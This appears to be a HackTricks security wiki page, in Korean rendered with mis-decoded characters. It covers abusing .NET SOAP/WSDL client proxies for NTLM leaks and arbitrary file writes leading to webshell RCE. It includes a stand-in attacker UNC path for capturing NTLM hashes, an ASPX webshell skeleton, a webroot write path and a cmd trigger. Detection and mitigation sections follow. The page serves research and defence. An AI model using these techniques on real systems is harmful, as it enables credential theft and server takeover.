.NET SOAP/WSDL Client Proxy ์•…์šฉ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์š”์•ฝ

  • SoapHttpClientProtocol, DiscoveryClientProtocol ๋“ฑ์€ HttpWebClientProtocol๋ฅผ ์ƒ์†ํ•˜๋ฉฐ, ๊ทธ GetWebRequest()๋Š” WebRequest.Create()๊ฐ€ ์ƒ์„ฑํ•œ ์Šคํ‚ด ๋น„์ข…์†์ ์ธ WebRequest ์ธ์Šคํ„ด์Šค๋ฅผ ๋ฐ˜ํ™˜ํ•˜๊ณ  HttpWebRequest๋ฅผ ๊ฐ•์ œํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • ๊ณต๊ฒฉ์ž๊ฐ€ ํ”„๋ก์‹œ Url์„ ์ œ์–ดํ•˜๋ฉด ํ”„๋ ˆ์ž„์›Œํฌ๋Š” ์กฐ์šฉํžˆ FileWebRequest, FtpWebRequest ๋˜๋Š” UNC/SMB ํ•ธ๋“ค๋Ÿฌ๋กœ ๊ต์ฒดํ•˜์—ฌ โ€œHTTPโ€ ํ”„๋ก์‹œ๋ฅผ NTLM leak ์žฅ์น˜๋‚˜ ์ž„์˜ ํŒŒ์ผ ์ž‘์„ฑ๊ธฐ๋กœ ๋ฐ”๊ฟ€ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ServiceDescriptionImporter๋กœ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ๊ณตํ•œ WSDL์„ ๊ฐ€์ ธ์˜ค๋Š” ๋ชจ๋“  ๊ธฐ๋Šฅ์€ ๋ฌธ์ œ๋ฅผ ์•…ํ™”์‹œํ‚ต๋‹ˆ๋‹ค: WSDL์€ ์ƒ์„ฑ๋œ ํ”„๋ก์‹œ ์ƒ์„ฑ์ž, SOAP ๋ฉ”์„œ๋“œ, ๋ณตํ•ฉ ํƒ€์ž… ๋ฐ ๋„ค์ž„์ŠคํŽ˜์ด์Šค๋ฅผ ์ œ์–ดํ•˜์—ฌ Barracuda Service Center RMM, Ivanti EPM, Umbraco 8, PowerShell, SSIS ๊ฐ™์€ ์ œํ’ˆ์—์„œ ์ธ์ฆ ์ „ RCE(์›น์…ธ, ์Šคํฌ๋ฆฝํŠธ ๋“œ๋กญ)๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

์›์ธ: HttpWebClientProtocol๋Š” ์Šคํ‚ด ๋น„์ข…์†์ ์ž„

WebClientProtocol.GetWebRequest()๋Š” var req = WebRequest.Create(uri)๋ฅผ ์ˆ˜ํ–‰ํ•˜๊ณ  ๊ทธ๊ฒƒ์„ ๊ทธ๋Œ€๋กœ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. HttpWebClientProtocol.GetWebRequest()๋Š” HTTP ์ „์šฉ ํ•„๋“œ๋ฅผ ์„ค์ •ํ•˜๊ธฐ ์œ„ํ•ด req as HttpWebRequest๋ฅผ ์‹œ๋„ํ•˜์ง€๋งŒ, ์บ์ŠคํŠธ๊ฐ€ ์‹คํŒจํ•ด๋„ ์›๋ณธ req๋ฅผ ๊ทธ๋Œ€๋กœ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋Ÿฐํƒ€์ž„์€ Url์— ์กด์žฌํ•˜๋Š” ์Šคํ‚ด์„ ๊ทธ๋Œ€๋กœ ๋”ฐ๋ฆ…๋‹ˆ๋‹ค:

  • http(s):// โ†’ HttpWebRequest
  • file:/// ๋˜๋Š” \\host\share\ โ†’ FileWebRequest
  • ftp:// โ†’ FtpWebRequest

๊ทธ ํ›„ SoapHttpClientProtocol.Invoke()๋Š” ์„ ํƒ๋œ ์ „์†ก ํ•ธ๋“ค๋Ÿฌ๋ฅผ ํ†ตํ•ด SOAP POST ๋ณธ๋ฌธ์„ ์ŠคํŠธ๋ฆฌ๋ฐํ•˜๋ฉฐ, ์ด๋Š” ๋””์Šคํฌ์— ์“ฐ๊ฑฐ๋‚˜ SMB๋ฅผ ํ†ตํ•ด ์ „์†กํ•˜๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ธฐ๋ฒ• 1 โ€“ UNC ๋Œ€์ƒ ํ†ตํ•œ NTLM ์บก์ฒ˜/๋ฆด๋ ˆ์ด

  1. SoapHttpClientProtocol.Url์„ ์ œ์–ดํ•ฉ๋‹ˆ๋‹ค (์ง์ ‘ ์„ธํ„ฐ, ์„ค์ •๊ฐ’, DB ํ–‰ ๋“ฑ).
  2. ์ด๋ฅผ file://attacker.local/sink/payload ๊ฐ™์€ UNC ๊ฒฝ๋กœ๋กœ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค.
  3. CLR์€ SMB๋กœ ํ•ด๋‹น ๊ฒฝ๋กœ๋ฅผ ์—ด๊ณ  ํ†ตํ•ฉ ์ธ์ฆ์„ ์ˆ˜ํ–‰ํ•˜์—ฌ NTLM challenge/response๋ฅผ ๊ณต๊ฒฉ์ž์—๊ฒŒ leakํ•ฉ๋‹ˆ๋‹ค.
  4. ์บก์ฒ˜ํ•œ ํ•ด์‹œ๋ฅผ ์˜คํ”„๋ผ์ธ ํฌ๋ž˜ํ‚นํ•˜๊ฑฐ๋‚˜ ์„œ๋ช…/EPA๊ฐ€ ์—†๋‹ค๋ฉด NTLM ๋ฆด๋ ˆ์ด(SMB/HTTP)์— ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

์ด๊ฒƒ์€ ์ถ”๊ฐ€์  ์ต์Šคํ”Œ๋กœ์ž‡์ด ๋ถˆ๊ฐ€๋Šฅํ•˜๋”๋ผ๋„ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ์ˆ˜์šฉํ•˜๋Š” ๋ชจ๋“  .NET SOAP/HTTP ํ”„๋ก์‹œ ๊ฒฝ๋กœ์— ์ ์šฉ๋ฉ๋‹ˆ๋‹ค.

๊ธฐ๋ฒ• 2 โ€“ file://๋ฅผ ํ†ตํ•œ ์ž„์˜ ํŒŒ์ผ ์“ฐ๊ธฐ

  1. ํ”„๋ก์‹œ ํ˜ธ์ถœ ์ „์— Url = "file:///inetpub/wwwroot/poc.aspx" (๋˜๋Š” ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๊ฒฝ๋กœ)๋กœ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.
  2. ์•„๋ฌด SOAP ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค; ํ”„๋ ˆ์ž„์›Œํฌ๋Š” ์ „์ฒด SOAP ์ธ๋ฒŒ๋กญ์„ ์„ ํƒํ•œ ๊ฒฝ๋กœ์— ์ž‘์„ฑํ•˜์—ฌ ๊ธฐ์กด ํŒŒ์ผ์„ ๋ฎ์–ด์”๋‹ˆ๋‹ค.
  3. ์‚ฌ์šฉ์ž ์ œ์–ด ์ธ์ˆ˜๋Š” XML ์š”์†Œ ๋‚ด๋ถ€์— ๋‚˜ํƒ€๋‚˜๋ฏ€๋กœ ๊ณต๊ฒฉ์ž๋Š” CSHTML/ASPX ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋“œ๋กญํ•˜๊ฑฐ๋‚˜ ์„ค์ • ํŒŒ์ผ์„ ์˜ค์—ผ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ œํ•œ์‚ฌํ•ญ:

  • ์ปจํ…์ธ ๋Š” ํ•ญ์ƒ XML์ด๋ฉฐ ์Šค์นผ๋ผ ํ•„๋“œ๋Š” ์—”ํ‹ฐํ‹ฐ ์ธ์ฝ”๋”ฉ๋ฉ๋‹ˆ๋‹ค. ๋‹จ์ˆœ ๋ฌธ์ž์—ด๋กœ <script>๋ฅผ ์ฃผ์ž…ํ•˜๋ ค๋ฉด ์ถ”๊ฐ€ ๊ธฐ๋ฒ•์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.
  • ์˜๋ฏธ์žˆ๋Š” ํŽ˜์ด๋กœ๋“œ๋Š” ์ตœ์†Œํ•œ ํ•˜๋‚˜์˜ ๊ณต๊ฒฉ์ž ์˜ํ–ฅ ์ธ์ˆ˜๋‚˜ ๋ฉ”์„œ๋“œ ์‹œ๊ทธ๋‹ˆ์ฒ˜๋ฅผ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค (WSDL ์•…์šฉ ์ฐธ์กฐ).

๋Ÿฐํƒ€์ž„์€ ์“ฐ๊ธฐ ํ›„ ์ข…์ข… Client found response content type of 'application/octet-stream', but expected 'text/xml' ์˜ˆ์™ธ๋ฅผ ๋˜์ง‘๋‹ˆ๋‹ค โ€” ์ด ์˜ค๋ฅ˜๋ฅผ IOC๋กœ ์ทจ๊ธ‰ํ•˜์„ธ์š”.

WSDL ์ž„ํฌํŠธ ๋ฌด๊ธฐํ™”

ServiceDescriptionImporter๋ฅผ ํ†ตํ•œ ์ž๋™ ์ƒ์„ฑ ํ”„๋ก์‹œ

๋งŽ์€ ์ œํ’ˆ์ด WSDL URL์„ ํ—ˆ์šฉํ•˜๋Š” โ€œ์ปค์Šคํ…€ ์›น ์„œ๋น„์Šคโ€ ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•˜๋ฉฐ, ๊ทธ ๊ณผ์ •์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  1. ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” WSDL์„ ServiceDescription.Read()๋กœ ์ฝ์Šต๋‹ˆ๋‹ค.
  2. ServiceDescriptionImporter๊ฐ€ SoapHttpClientProtocol๋ฅผ ํ™•์žฅํ•˜๋Š” C# ํ”„๋ก์‹œ ํด๋ž˜์Šค๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
  3. CodeDOM์ด ํ”„๋ก์‹œ๋ฅผ ์ปดํŒŒ์ผํ•˜๊ณ  ๋ฆฌํ”Œ๋ ‰์…˜์œผ๋กœ ์š”์ฒญ๋œ ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž๋Š” ๋‹ค์Œ์„ ์™„์ „ํžˆ ์ œ์–ดํ•ฉ๋‹ˆ๋‹ค:

  • soap:address / soap12:address location โ†’ base.Url์ด ๋˜์–ด file:// ๋˜๋Š” UNC ๊ฒฝ๋กœ๋กœ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๋ฉ”์„œ๋“œ ์ด๋ฆ„, ํŒŒ๋ผ๋ฏธํ„ฐ ๋ชฉ๋ก, ๋ณตํ•ฉ ํƒ€์ž… ๋ฐ ์ง๋ ฌํ™”๊ธฐ.
  • ๋ชจ๋“  SOAP ๋ฉ”์‹œ์ง€์— ๋“ค์–ด๊ฐ€๋Š” xmlns:* ์†์„ฑ์ด ๋˜๋Š” ๋„ค์ž„์ŠคํŽ˜์ด์Šค URI.

์Šคํ‚ด ๊ฒ€์ฆ์ด ์ˆ˜ํ–‰๋˜์ง€ ์•Š์œผ๋ฏ€๋กœ ์ƒ์„ฑ๋œ ๋ชจ๋“  ํ”„๋ก์‹œ๋Š” ์›๋ž˜ ์„ค๊ณ„ ๊ฒฐํ•จ์„ ๋ฌผ๋ ค๋ฐ›์Šต๋‹ˆ๋‹ค.

RCE๋ฅผ ์œ„ํ•œ SOAP ์ธ๋ฒŒ๋กญ ์กฐํ˜•

  • Complex type serialization: WSDL์— ์ปค์Šคํ…€ ๊ตฌ์กฐ์ฒด๋ฅผ ์ •์˜ํ•˜์—ฌ XmlSerializer๊ฐ€ ์ด๋ฅผ ์žฌ์ง๋ ฌํ™”ํ•  ๋•Œ ๊ณต๊ฒฉ์ž๊ฐ€ ์„ ํƒํ•œ ์š”์†Œ ์ด๋ฆ„/์†์„ฑ์„ ์ƒ์„ฑํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ASPX ์›น์…ธ ๋“œ๋กญ์˜ ๊ฒฝ์šฐ, ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ง๋ ฌํ™”๋˜๋„๋ก ํƒ€์ž…์„ ์„ค๊ณ„ํ•˜๊ณ :
<script runat="server">
// payload pulling `Request.QueryString["cmd"]`
</script>

Url์„ file:///.../webroot/shell.aspx๋กœ ์ง€์ •ํ•˜๋ฉด RCE๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • Namespace injection: ์ธ์ˆ˜๊ฐ€ ํ•˜๋“œ์ฝ”๋”ฉ๋˜์–ด ์žˆ์–ด๋„(์˜ˆ: Umbraco Forms) WSDL์— ์„ ์–ธ๋œ ๋„ค์ž„์ŠคํŽ˜์ด์Šค(์˜ˆ: xmlns:tns="http://host/service?x=@{...}")๋Š” SOAP ์ธ๋ฒŒ๋กญ์— ๊ทธ๋Œ€๋กœ ๋ณต์‚ฌ๋ฉ๋‹ˆ๋‹ค. ๋„ค์ž„์ŠคํŽ˜์ด์Šค ์ฟผ๋ฆฌ ๋ฌธ์ž์—ด ์•ˆ์— ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ธ์ฝ”๋”ฉํ•˜๋ฉด ํŒŒ๋ผ๋ฏธํ„ฐ ์ œ์–ด ์—†์ด๋„ CSHTML Razor๋‚˜ PowerShell ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋“œ๋กญํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ๊ธฐ๋ฒ•๋“ค์€ Barracuda Service Center RMM(CVE-2025-34392) ์ต์Šคํ”Œ๋กœ์ž‡์˜ ํ•ต์‹ฌ์ด์—ˆ์Šต๋‹ˆ๋‹ค: ์ธ์ฆ ์—†์ด SOAP ํ˜ธ์ถœ์ด ์•…์„ฑ WSDL์„ ๊ณต๊ธ‰ํ–ˆ๊ณ , soap12:address๋ฅผ file:///Program Files/.../SCMessaging/poc.aspx๋กœ ์„ค์ •ํ–ˆ์œผ๋ฉฐ, ๋ณตํ•ฉ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ†ตํ•ด <script runat="server">๋ฅผ ์ฃผ์ž…ํ•˜์—ฌ ์›น์…ธ์„ ์—…๋กœ๋“œํ•˜๊ณ  ์ž„์˜์˜ cmd.exe ๋ช…๋ น์„ ์‹คํ–‰ํ–ˆ์Šต๋‹ˆ๋‹ค.

์ „ํ˜•์ ์ธ ๊ณต๊ฒฉ ์›Œํฌํ”Œ๋กœ์šฐ

  1. WSDL URL์„ ํ—ˆ์šฉํ•˜๊ฑฐ๋‚˜ SOAP ์—”๋“œํฌ์ธํŠธ ๊ตฌ์„ฑ์„ ์‚ฌ์šฉ์ž์—๊ฒŒ ํ—ˆ์šฉํ•˜๋Š” ๊ธฐ๋Šฅ(์˜ˆ: Barracuda InvokeRemoteMethod, Ivanti EPM ์ปค๋„ฅํ„ฐ, Umbraco 8 Forms ๋ฐ์ดํ„ฐ์†Œ์Šค, PowerShell New-WebServiceProxy)์„ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค.
  2. soap:address๊ฐ€ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๊ฒฝ๋กœ๋‚˜ UNC ๊ณต์œ ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ณ  ์Šคํ‚ค๋งˆ ์ •์˜๊ฐ€ ํŽ˜์ด๋กœ๋“œ ์นœํ™”์ ์ธ ๋ฉ”์„œ๋“œ/ํƒ€์ž…์„ ์ œ๊ณตํ•˜๋Š” ์•…์„ฑ WSDL์„ ํ˜ธ์ŠคํŠธํ•ฉ๋‹ˆ๋‹ค.
  3. ์ž„ํฌํŠธ/์ปดํŒŒ์ผ์„ ํŠธ๋ฆฌ๊ฑฐํ•ฉ๋‹ˆ๋‹ค. ๋Œ€์ƒ์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์ƒ์„ฑ์ž์™€ ๋ฉ”์„œ๋“œ๋ฅผ ๊ฐ€์ง„ ํ”„๋ก์‹œ DLL์„ ๋ฐฉ์ถœํ•ฉ๋‹ˆ๋‹ค.
  4. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์ƒ์„ฑ๋œ ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด SOAP ์š”์ฒญ์ด ์ง๋ ฌํ™”๋˜์–ด ๊ณต๊ฒฉ์ž๊ฐ€ ์ง€์ •ํ•œ ๊ฒฝ๋กœ์— ๊ธฐ๋ก๋˜๊ณ  ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์‚ฝ์ž…๋ฉ๋‹ˆ๋‹ค.
  5. ๋“œ๋กญ๋œ ํŒŒ์ผ์„ ์‹คํ–‰(์˜ˆ: poc.aspx?cmd=whoami๋กœ ๋ธŒ๋ผ์šฐ์ง•, CSHTML ๋กœ๋“œ, ๋˜๋Š” PowerShell์ด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰)ํ•˜๊ฑฐ๋‚˜ ์บก์ฒ˜ํ•œ NTLM ์ž๋ฃŒ๋ฅผ ์žฌ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

ํƒ์ง€ ๋ฐ ํ—ŒํŒ…

  • Static analysis: ServiceDescriptionImporter, SoapHttpClientProtocol, HttpWebClientProtocol, ๋˜๋Š” New-WebServiceProxy๋ฅผ grepํ•˜์„ธ์š”. Url ๋˜๋Š” WSDL ์ž…๋ ฅ์ด ์–ด๋””์„œ ์œ ๋ž˜ํ•˜๋Š”์ง€ ์ถ”์ โ€”์‚ฌ์šฉ์ž ์ œ์–ด ๊ฐ€๋Šฅํ•˜๋ฉด ์œ„ํ—˜ ์‹ ํ˜ธ์ž…๋‹ˆ๋‹ค.
  • Runtime telemetry:
  • ํ”„๋ก์‹œ ์ƒ์„ฑ ์‹œ ์Šคํ‚ด์„ ๋กœ๊น…ํ•˜๋„๋ก ๊ณ„์ธกํ•˜๊ณ  file, ftp, ๋˜๋Š” UNC ๊ฐ’์— ๋Œ€ํ•ด ๊ฒฝ๊ณ ํ•˜์„ธ์š”.
  • SOAP ํ˜ธ์ถœ ํ›„ ํŠน์ง•์ ์ธ โ€œClient found response content type of โ€˜application/octet-streamโ€™โ€ ์˜ค๋ฅ˜๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์„ธ์š”.
  • ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋””๋ ‰ํ„ฐ๋ฆฌ ์•„๋ž˜์—์„œ ์›น ์„œ๋น„์Šค ์•„์ด๋ดํ‹ฐํ‹ฐ์— ์˜ํ•ด ์ˆ˜ํ–‰๋œ ์˜ˆ์ƒ์น˜ ๋ชปํ•œ .aspx/.cshtml/.ps1 ์“ฐ๊ธฐ ๋™์ž‘์„ ๊ฐ์‹œํ•˜์„ธ์š”.
  • Network/file ์‹ ํ˜ธ: ์›น ์„œ๋ฒ„๊ฐ€ ๊ณต๊ฒฉ์ž ์ธํ”„๋ผ๋กœ ํ–ฅํ•˜๋Š” SMB ์—ฐ๊ฒฐ์„ ์‹œ์ž‘ํ•˜๊ฑฐ๋‚˜ ์ž„์‹œ ํ”„๋ก์‹œ DLL์˜ ๊ฐ‘์ž‘์Šค๋Ÿฌ์šด ์ปดํŒŒ์ผ์€ ์ข…์ข… ์ต์Šคํ”Œ๋กœ์ž‡์— ์•ž์„œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

์™„ํ™”์ฑ…

  • HttpWebClientProtocol ๊ณ„์—ด ํ”„๋ก์‹œ๋ฅผ ํ˜ธ์ถœํ•˜๊ธฐ ์ „์— ์ „์†ก ๊ฒ€์ฆ์„ ๊ฐ•์ œํ•˜์„ธ์š”:
var uri = new Uri(proxy.Url);
if (uri.Scheme != Uri.UriSchemeHttp && uri.Scheme != Uri.UriSchemeHttps)
throw new InvalidOperationException("SOAP clients must stay on HTTP/S");
  • ๊ฐ€์ ธ์˜จ WSDL ๊ฒ€์ฆ/์ •์ œ: ํ”„๋ก์‹œ ๋‹ค์šด๋กœ๋“œ๋ฅผ ์ค‘๊ฐœํ•˜์—ฌ HTTP/S๊ฐ€ ์•„๋‹Œ soap:address ํ•ญ๋ชฉ์„ ์žฌ์ž‘์„ฑํ•˜๊ฑฐ๋‚˜ ๊ฑฐ๋ถ€ํ•˜๊ณ , ์•Œ ์ˆ˜ ์—†๋Š” ๋ฐ”์ธ๋”ฉ์„ ์ œ๊ฑฐํ•˜๋ฉฐ ๋„ค์ž„์ŠคํŽ˜์ด์Šค ํŽ˜์ด๋กœ๋“œ ๊ธฐ๋ฒ•์„ ๊ธˆ์ง€ํ•˜์„ธ์š”.
  • ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” WSDL ๊ธฐ๋Šฅ ๋น„ํ™œ์„ฑํ™”: โ€œWSDL ์—…๋กœ๋“œโ€ ํŽธ์˜ ๊ธฐ๋Šฅ์„ ๊ฒ€์ฆ๋œ ์„œ๋ฒ„ ์‚ฌ์ด๋“œ ํ…œํ”Œ๋ฆฟ์ด๋‚˜ ํ—ˆ์šฉ๋ชฉ๋ก์œผ๋กœ ๋Œ€์ฒดํ•˜์„ธ์š”.
  • ์“ฐ๊ธฐ ์œ„์น˜ ๋ถ„๋ฆฌ: ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ํ’€ ๊ณ„์ •์ด ์‹คํ–‰ ํŒŒ์ผ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์“ฐ์ง€ ๋ชปํ•˜๋„๋ก ํ•˜๊ณ , ๋ฐ์ดํ„ฐ์™€ ์ฝ”๋“œ์— ๋Œ€ํ•ด ๋ณ„๋„ ๋ณผ๋ฅจ์„ ์‚ฌ์šฉํ•˜์—ฌ ํŒŒ์ผ ์“ฐ๊ธฐ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ๊ฐ€ RCE๋กœ ์ด์–ด์ง€์ง€ ์•Š๊ฒŒ ํ•˜์„ธ์š”.
  • NTLM ๋…ธ์ถœ ๊ฒฝ๊ฐ: ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ ์•„์›ƒ๋ฐ”์šด๋“œ SMB๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ณ , ๊ทธ๋ ‡์ง€ ์•Š๋‹ค๋ฉด SMB ์„œ๋ช…, EPA ๋ฐ ๊ธฐํƒ€ ๋ฆด๋ ˆ์ด ์™„ํ™”์ฑ…์„ ์ ์šฉํ•˜์„ธ์š”.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ